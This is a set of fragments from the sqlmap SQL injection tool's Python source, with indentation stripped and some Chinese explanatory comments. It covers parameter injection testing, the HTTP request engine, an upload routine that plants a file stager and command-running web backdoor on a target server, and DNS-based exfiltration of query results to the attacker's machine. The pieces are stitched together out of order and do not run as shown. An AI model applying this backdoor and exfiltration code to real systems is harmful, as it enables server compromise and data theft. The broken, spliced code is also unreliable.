warnMsg = "%s parameter '%s' is not " % (place, parameter)
warnMsg += "injectable"
logger.warn(warnMsg)
if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None):
if kb.vainRun and not conf.multipleTargets:
errMsg = "no parameter(s) found for testing in the provided data "
errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')"
raise sqlmapNoneDataException, errMsg
elif not conf.realTest:
errMsg = "all parameters appear to be not injectable."
if conf.level < 5 or conf.risk < 3:
errMsg += " Try to increase --level/--risk values "
errMsg += "to perform more tests."
if isinstance(conf.tech, list) and len(conf.tech) < 5:
errMsg += " Rerun without providing the option '--technique'."
if not conf.textOnly and kb.originalPage:
percent = 100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage)
if kb.dynamicParameters:
errMsg += " You can give it a go with the --text-only "
errMsg += "switch if the target page has a low percentage "
errMsg += "of textual content (~%.2f%% of " % percent
errMsg += "page content is text)."
elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone:
errMsg += " Please retry with the --text-only switch "
errMsg += "(along with --technique=BU) as this case "
errMsg += "looks like a perfect candidate "
errMsg += "(low textual content along with inability "
errMsg += "of comparison engine to detect at least "
errMsg += "one dynamic parameter)."
if kb.heuristicTest:
errMsg += " As heuristic test turned out positive you are "
errMsg += "strongly advised to continue on with the tests. "
errMsg += "Please, consider usage of tampering scripts as "
errMsg += "your target might filter the queries."
if not conf.string and not conf.regexp:
errMsg += " Also, you can try to rerun by providing "
errMsg += "either a valid --string "
errMsg += "or a valid --regexp, refer to the user's "
errMsg += "manual for details"
elif conf.string:
errMsg += " Also, you can try to rerun by providing a "
errMsg += "valid --string as perhaps the string you "
errMsg += "have choosen does not match "
errMsg += "exclusively True responses"
elif conf.regexp:
errMsg += " Also, you can try to rerun by providing a "
errMsg += "valid --regexp as perhaps the regular "
errMsg += "expression that you have choosen "
errMsg += "does not match exclusively True responses"
raise sqlmapNotVulnerableException, errMsg
else:
errMsg = "it seems that all parameters are not injectable"
raise sqlmapNotVulnerableException, errMsg
else:
# Flush the flag
kb.testMode = False
__saveToResultsFile()
__saveToHashDB()
__showInjections()
__selectInjection()
if kb.injection.place is not None and kb.injection.parameter is not None:
if kb.testQueryCount == 0 and conf.realTest:
condition = False
elif conf.multipleTargets:
message = "do you want to exploit this SQL injection? [Y/n] "
exploit = readInput(message, default="Y")
condition = not exploit or exploit[0] in ("y", "Y")
else:
condition = True
if condition:
action()
except KeyboardInterrupt:
if conf.multipleTargets:
warnMsg = "user aborted in multiple target mode"
logger.warn(warnMsg)
message = "do you want to skip to the next target in list? [Y/n/q]"
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
pass
elif test[0] in ("n", "N"):
return False
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
raise
except sqlmapUserQuitException:
raise
except sqlmapSilentQuitException:
raise
except exceptionsTuple, e:
e = getUnicode(e)
if conf.multipleTargets:
e += ", skipping to the next %s" % ("form" if conf.forms else "url")
logger.error(e)
else:
logger.critical(e)
return False
finally:
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
success = False
for directory in directories:
self.webStagerFilePath = ntToPosixSlashes(os.path.join(directory, stagerName))
if success:
break
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
directory = "/%s" % directory
else:
directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
handle, filename = mkstemp()
os.fdopen(handle).close() # close low level handle (causing problems later)
with open(filename, "w+") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
f.write(utf8encode(_))
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Extra check - required
if not uploaded:
self.webBaseUrl = "%s://%s:%d/" % (conf.scheme, conf.hostname, conf.port)
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self._webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = ntToPosixSlashes(os.path.join(self.webBaseUrl, backdoorName))
self.webDirectory = directory
self.webBackdoorFilePath = ntToPosixSlashes(os.path.join(directory, backdoorName))
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
success = True
break
def getPage(**kwargs):
"""
This method connects to the target URL or proxy and returns
the target URL page content
"""
if isinstance(conf.delay, (int, float)) and conf.delay > 0:
time.sleep(conf.delay)
elif conf.cpuThrottle:
cpuThrottle(conf.cpuThrottle)
if conf.dummy:
return randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())
threadData = getCurrentThreadData()
with kb.locks.request:
kb.requestCounter += 1
threadData.lastRequestUID = kb.requestCounter
url = kwargs.get("url", None) or conf.url
get = kwargs.get("get", None)
post = kwargs.get("post", None)
method = kwargs.get("method", None)
cookie = kwargs.get("cookie", None)
ua = kwargs.get("ua", None) or conf.agent
referer = kwargs.get("referer", None) or conf.referer
host = kwargs.get("host", None) or conf.host
direct_ = kwargs.get("direct", False)
multipart = kwargs.get("multipart", False)
silent = kwargs.get("silent", False)
raise404 = kwargs.get("raise404", True)
timeout = kwargs.get("timeout", None) or conf.timeout
auxHeaders = kwargs.get("auxHeaders", None)
response = kwargs.get("response", False)
ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout
refreshing = kwargs.get("refreshing", False)
retrying = kwargs.get("retrying", False)
crawling = kwargs.get("crawling", False)
skipRead = kwargs.get("skipRead", False)
if not urlparse.urlsplit(url).netloc:
url = urlparse.urljoin(conf.url, url)
# flag to know if we are dealing with the same target host
target = reduce(lambda x, y: x == y, map(lambda x: urlparse.urlparse(x).netloc.split(':')[0], [url, conf.url or ""]))
if not retrying:
# Reset the number of connection retries
threadData.retriesCount = 0
# fix for known issue when urllib2 just skips the other part of provided
# url splitted with space char while urlencoding it in the later phase
url = url.replace(" ", "%20")
conn = None
code = None
page = None
_ = urlparse.urlsplit(url)
requestMsg = u"HTTP request [#%d]:\n%s " % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
requestMsg += ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) if not any((refreshing, crawling)) else url
responseMsg = u"HTTP response "
requestHeaders = u""
responseHeaders = None
logHeaders = u""
skipLogTraffic = False
raise404 = raise404 and not kb.ignoreNotFound
# support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
# support those by default
url = asciifyUrl(url)
try:
socket.setdefaulttimeout(timeout)
if direct_:
if '?' in url:
url, params = url.split('?', 1)
params = urlencode(params)
url = "%s?%s" % (url, params)
elif multipart:
# Needed in this form because of potential circle dependency
# problem (option -> update -> connect -> option)
from lib.core.option import proxyHandler
multipartOpener = urllib2.build_opener(proxyHandler, multipartpost.MultipartPostHandler)
conn = multipartOpener.open(unicodeencode(url), multipart)
page = Connect._connReadProxy(conn) if not skipRead else None
responseHeaders = conn.info()
responseHeaders[URI_HTTP_HEADER] = conn.geturl()
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
return page
elif any((refreshing, crawling)):
pass
elif target:
if conf.forceSSL and urlparse.urlparse(url).scheme != "https":
url = re.sub("\Ahttp:", "https:", url, re.I)
url = re.sub(":80/", ":443/", url, re.I)
if PLACE.GET in conf.parameters and not get:
get = conf.parameters[PLACE.GET]
if not conf.skipUrlEncode:
get = urlencode(get, limit=True)
if get:
if '?' in url:
url = "%s%s%s" % (url, DEFAULT_GET_POST_DELIMITER, get)
requestMsg += "%s%s" % (DEFAULT_GET_POST_DELIMITER, get)
else:
url = "%s?%s" % (url, get)
requestMsg += "?%s" % get
if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET:
post = conf.parameters[PLACE.POST]
elif get:
url = "%s?%s" % (url, get)
requestMsg += "?%s" % get
requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str
# Prepare HTTP headers
headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host})
if kb.authHeader:
headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader
if kb.proxyAuthHeader:
headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader
if HTTP_HEADER.ACCEPT not in headers:
headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE
if HTTP_HEADER.HOST not in headers:
headers[HTTP_HEADER.HOST] = getHostHeader(url)
if HTTP_HEADER.ACCEPT_ENCODING not in headers:
headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity"
if post is not None and HTTP_HEADER.CONTENT_TYPE not in headers:
headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE)
if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
warnMsg = "missing 'boundary parameter' in '%s' header. " % HTTP_HEADER.CONTENT_TYPE
warnMsg += "Will try to reconstruct"
singleTimeWarnMessage(warnMsg)
boundary = findMultipartPostBoundary(conf.data)
if boundary:
headers[HTTP_HEADER.CONTENT_TYPE] = "%s; boundary=%s" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)
if auxHeaders:
for key, item in auxHeaders.items():
for _ in headers.keys():
if _.upper() == key.upper():
del headers[_]
headers[key] = item
for key, item in headers.items():
del headers[key]
headers[unicodeencode(key, kb.pageEncoding)] = unicodeencode(item, kb.pageEncoding)
url = unicodeencode(url)
post = unicodeencode(post, kb.pageEncoding)
if method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST):
method = unicodeencode(method)
req = MethodRequest(url, post, headers)
req.set_method(method)
else:
req = urllib2.Request(url, post, headers)
requestHeaders += "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items())
if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
conf.cj._policy._now = conf.cj._now = int(time.time())
cookies = conf.cj._cookies_for_request(req)
requestHeaders += "\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))
if post is not None:
if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH):
requestHeaders += "\n%s: %d" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))
if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
requestHeaders += "\n%s: close" % HTTP_HEADER.CONNECTION
requestMsg += "\n%s" % requestHeaders
if post is not None:
requestMsg += "\n\n%s" % getUnicode(post)
requestMsg += "\n"
threadData.lastRequestMsg = requestMsg
logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
conn = urllib2.urlopen(req)
if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower():
kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)
if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)
# Return response object
if response:
return conn, None, None
# Get HTTP response
if hasattr(conn, 'redurl'):
page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\
else Connect._connReadProxy(conn)) if not skipRead else None
skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
code = conn.redcode
else:
page = Connect._connReadProxy(conn) if not skipRead else None
code = code or conn.code
responseHeaders = conn.info()
responseHeaders[URI_HTTP_HEADER] = conn.geturl()
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
status = getUnicode(conn.msg)
if extractRegexResult(META_REFRESH_REGEX, page) and not refreshing:
url = extractRegexResult(META_REFRESH_REGEX, page)
debugMsg = "got HTML meta refresh header"
logger.debug(debugMsg)
if kb.alwaysRefresh is None:
msg = "sqlmap got a refresh request "
msg += "(redirect like response common to login pages). "
msg += "Do you want to apply the refresh "
msg += "from now on (or stay on the original page)? [Y/n]"
choice = readInput(msg, default="Y")
kb.alwaysRefresh = choice not in ("n", "N")
if kb.alwaysRefresh:
if url.lower().startswith('http://'):
kwargs['url'] = url
else:
kwargs['url'] = conf.url[:conf.url.rfind('/') + 1] + url
threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
kwargs['refreshing'] = True
kwargs['get'] = None
kwargs['post'] = None
try:
return Connect._getPageProxy(**kwargs)
except SqlmapSyntaxException:
pass
# Explicit closing of connection object
if not conf.keepAlive:
try:
if hasattr(conn.fp, '_sock'):
conn.fp._sock.close()
conn.close()
except Exception, msg:
warnMsg = "problem occurred during connection closing ('%s')" % msg
logger.warn(warnMsg)
except urllib2.HTTPError, e:
page = None
responseHeaders = None
try:
page = e.read() if not skipRead else None
responseHeaders = e.info()
responseHeaders[URI_HTTP_HEADER] = e.geturl()
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
except socket.timeout:
warnMsg = "connection timed out while trying "
warnMsg += "to get error page information (%d)" % e.code
logger.warn(warnMsg)
return None, None, None
except KeyboardInterrupt:
raise
except:
pass
finally:
page = page if isinstance(page, unicode) else getUnicode(page)
code = e.code
kb.originalCode = kb.originalCode or code
threadData.lastHTTPError = (threadData.lastRequestUID, code)
kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1
status = getUnicode(e.msg)
responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status)
if responseHeaders:
logHeaders = "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items())
logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]))
skipLogTraffic = True
if conf.verbose <= 5:
responseMsg += getUnicode(logHeaders)
elif conf.verbose > 5:
responseMsg += "%s\n\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])
logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
if e.code == httplib.UNAUTHORIZED and not conf.ignore401:
errMsg = "not authorized, try to provide right HTTP "
errMsg += "authentication type and valid credentials (%d)" % code
raise SqlmapConnectionException(errMsg)
elif e.code == httplib.NOT_FOUND:
if raise404:
errMsg = "page not found (%d)" % code
raise SqlmapConnectionException(errMsg)
else:
debugMsg = "page not found (%d)" % code
singleTimeLogMessage(debugMsg, logging.DEBUG)
processResponse(page, responseHeaders)
elif e.code == httplib.GATEWAY_TIMEOUT:
if ignoreTimeout:
return None, None, None
else:
warnMsg = "unable to connect to the target URL (%d - %s)" % (e.code, httplib.responses[e.code])
if threadData.retriesCount < conf.retries and not kb.threadException:
warnMsg += ". sqlmap is going to retry the request"
logger.critical(warnMsg)
return Connect._retryProxy(**kwargs)
elif kb.testMode:
logger.critical(warnMsg)
return None, None, None
else:
raise SqlmapConnectionException(warnMsg)
else:
debugMsg = "got HTTP error code: %d (%s)" % (code, status)
logger.debug(debugMsg)
def _(regex):
return firstNotNone(
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE),
extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)
)
def dnsUse(payload, expression):
"""
Retrieve the output of a SQL query taking advantage of the DNS
resolution mechanism by making request back to attacker's machine.
"""
start = time.time()
retVal = None
count = 0
offset = 1
if conf.dnsName and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
output = hashDBRetrieve(expression, checkConf=True)
if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
output = None
if output is None:
kb.dnsMode = True
while True:
count += 1
prefix, suffix = ("%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2))
chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL / 4 - 2
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
nulledCastedField = agent.hexConvertField(nulledCastedField)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsName)
expressionUnescaped = unescaper.escape(expressionRequest)
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
query = agent.prefixQuery("; %s" % expressionUnescaped)
query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query)
forgedPayload = agent.payload(newValue=query)
else:
forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))
Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False)
_ = conf.dnsServer.pop(prefix, suffix)
if _:
_ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
_ = decodeHexValue(_)
output = (output or "") + _
offset += len(_)
if len(_) < chunk_length:
break
else:
break
output = decodeHexValue(output) if conf.hexConvert else output
kb.dnsMode = False
if output is not None:
retVal = output
if kb.dnsTest is not None:
dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output)))
if count > 0:
hashDBWrite(expression, output)
if not kb.bruteMode:
debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
logger.debug(debugMsg)
elif conf.dnsName:
warnMsg = "DNS data exfiltration method through SQL injection "
warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms()
singleTimeWarnMessage(warnMsg)
return safecharencode(retVal) if kb.safeCharEncode else retVal
def start():#sqlmap 开始检测 get post cookie user-agent
"""
This function calls a function that performs checks on both URL
stability and all GET, POST, Cookie and User-Agent parameters to
check if they are dynamic and SQL injection affected这个函数调用一个函数,执行检查URL所有GET、POST、cookie和user-agent参数 们是否动态和SQL注入的影响
"""
if conf.direct: # conf.direct是通过命令行参数："-d" .指定的 通过参数"-d"指定要连接的数据库
initTargetEnv() #初始化目标环境 target.py initTargetEnv()函数主要就是完成全局变量conf和kb的初始化工作
setupTargetEnv()
action() # 如果你使用-d选项，那么sqlmap就会直接进入action()函数，连接数据库 . eg：-d "mysql:123123//root:@127.0.0.1:3306/security"
return True
if conf.url and not any((conf.forms, conf.crawlDepth)):
kb.targets.add((conf.url, conf.method, conf.data, conf.cookie))
# 把url,methos,data,cookie加入到kb.targets，这些参数就是由我们输入的
if conf.configFile and not kb.targets:
errMsg = "you did not edit the configuration file properly, set "
errMsg += "the target URL, list of targets or google dork" #你没有正确编辑配置文件,设置目标URL,目标列表或谷歌码头
logger.error(errMsg)
return False
if kb.targets and len(kb.targets) > 1:
infoMsg = "sqlmap got a total of %d targets" % len(kb.targets) #sqlmap总数的**目标
logger.info(infoMsg)
hostCount = 0
for targetUrl, targetMethod, targetData, targetCookie in kb.targets: #循环检测
try:
conf.url = targetUrl
conf.method = targetMethod
conf.data = targetData
conf.cookie = targetCookie
initTargetEnv() # initTargetEnv()函数主要就是完成全局变量conf和kb的初始化工作
parseTargetUrl() # 此循环先初始化一些一些变量，然后判断之前是否注入过,parseTargetUrl()函数主要完成针对目标网址的解析工作，如获取协议名、路径、端口、请求参数等信息
testSqlInj = False # False 表示注入过 不会执行 injection = checkSqlInjection(place, parameter, value)这句代码
#测试过的url参数信息会保存到kb.testedParams中，所以在进行test之前，会先判断当前的url是否已经test过
if PLACE.GET in conf.parameters and not any([conf.data, conf.testParameter]):
for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (conf.pDel or DEFAULT_GET_POST_DELIMITER, conf.pDel or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]):
paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0])
if paramKey not in kb.testedParams:
testSqlInj = True # True表示未注入过 执行 injection = checkSqlInjection(place, parameter, value)这句代码
break
else:
paramKey = (conf.hostname, conf.path, None, None)
if paramKey not in kb.testedParams:
testSqlInj = True # True表示未注入过
if testSqlInj and conf.hostname in kb.vulnHosts:
if kb.skipVulnHost is None:
message = "SQL injection vulnerability has already been detected "
message += "against '%s'. Do you want to skip " % conf.hostname
message += "further tests involving it? [Y/n]"
kb.skipVulnHost = readInput(message, default="Y").upper() != 'N' # SQL注入漏洞已被发现对“% s”。你想跳过此测试涉及吗?[Y / n]
testSqlInj = not kb.skipVulnHost
if not testSqlInj:
infoMsg = "skipping '%s'" % targetUrl
logger.info(infoMsg)
continue
if conf.multipleTargets:
hostCount += 1
if conf.forms:
message = "[#%d] form:\n%s %s" % (hostCount, conf.method or HTTPMETHOD.GET, targetUrl)
else:
message = "URL %d:\n%s %s%s" % (hostCount, conf.method or HTTPMETHOD.GET, targetUrl, " (PageRank: %s)" % get_pagerank(targetUrl) if conf.googleDork and conf.pageRank else "")
if conf.cookie:
message += "\nCookie: %s" % conf.cookie
if conf.data is not None:
message += "\nPOST data: %s" % urlencode(conf.data) if conf.data else ""
if conf.forms:
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
continue
message += "\ndo you want to test this form? [Y/n/q] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
if conf.method == HTTPMETHOD.POST:
message = "Edit POST data [default: %s]%s: " % (urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
conf.data = readInput(message, default=conf.data)
conf.data = _randomFillBlankFields(conf.data)
conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data
elif conf.method == HTTPMETHOD.GET:
if targetUrl.find("?") > -1:
firstPart = targetUrl[:targetUrl.find("?")]
secondPart = targetUrl[targetUrl.find("?") + 1:]
message = "Edit GET data [default: %s]: " % secondPart
test = readInput(message, default=secondPart)
test = _randomFillBlankFields(test)
conf.url = "%s?%s" % (firstPart, test)
parseTargetUrl()
elif test[0] in ("n", "N"):
continue
elif test[0] in ("q", "Q"):
break
else:
message += "\ndo you want to test this URL? [Y/n/q]" #你想测试这个URL ?[Y / n / q]
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
pass
elif test[0] in ("n", "N"):
continue
elif test[0] in ("q", "Q"):
break
infoMsg = "testing URL '%s'" % targetUrl
logger.info(infoMsg)
setupTargetEnv() # setupTargetEnv()函数中包含了5个函数 都不可或缺，将get或post发送的数据解析成字典形式，并保存到conf.paramDict中
if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp():
continue
if conf.checkWaf:
checkWaf() #是检测是否有WAF
if conf.identifyWaf: #sqlmap的参数–identify-waf
identifyWaf() # 进入identifyWaf()函数
if conf.nullConnection:
checkNullConnection()
#提取url中的参数信息，并将其传递给checkSqlInjection函数
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \
and (kb.injection.place is None or kb.injection.parameter is None):
#判断是否注入过，如果还没有测试过参数是否可以注入，则进入if语句中。如果之前测试过，则不会进入此语句
if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
# NOTE: this is not needed anymore, leaving only to display 注意:这是不需要了,只留下显示
# a warning message to the user in case the page is not stable 一条警告消息给用户的页面是不稳定的
checkStability()
# Do a little prioritization reorder of a testable parameter list 做一个可测试的参数列表的优先级排序
parameters = conf.parameters.keys()
# Order of testing list (first to last) #测试顺序列表(第一个)
orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET)
for place in orderList[::-1]:
if place in parameters:
parameters.remove(place)
